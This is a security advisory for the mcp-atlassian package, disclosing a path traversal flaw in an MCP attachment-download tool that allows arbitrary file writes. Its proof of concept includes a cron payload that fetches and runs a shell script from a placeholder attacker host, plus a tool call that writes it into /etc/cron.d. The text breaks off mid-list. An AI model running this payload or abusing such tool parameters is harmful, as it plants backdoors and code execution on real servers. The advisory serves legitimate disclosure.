GitHub Security Advisory: GHSA-xjgw-4wvw-rgm4
Package: mcp-atlassian (PIP)
Severity: CRITICAL (CVSS 9.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path
Vulnerable versions: < 0.17.0
Patched in: 0.17.0

Summary: MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment

Details:
### Summary
The `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).


### Details
The tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:

  ```python
  download_path: Annotated[
      str,
      Field(
          description=(
              "Full path where the file should be saved. Can be absolute or relative. "
              "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\\\temp\\\\file.docx'. "
              "Parent directory will be created if it doesn't exist."
          )
      ),
  ],

 The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:

  if not os.path.isabs(target_path):
      target_path = os.path.abspath(target_path)  # normalizes path, no restriction

  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory
  with open(target_path, "wb") as f:                        # writes to any writable path
      for chunk in response.iter_content(chunk_size=8192):
          f.write(chunk)

 os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).


### PoC
Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.

Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:

  * * * * * root curl http://attacker.com/shell.sh | bash

Step 2 — Call the tool with a sensitive write target:

  {
      "jsonrpc": "2.0",
      "method": "tools/call",
      "params": {
          "name": "confluence_download_attachment",
          "arguments": {
              "page_id": "<page id hosting the malicious attachment>",
              "attachment_id": "<attachment id>",
              "download_path": "/etc/cron.d/mcp-backdoor"
          }
      },
      "id": 1
  }

The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.

Alternative potential write targets demonstrating broader impact:
  - /ho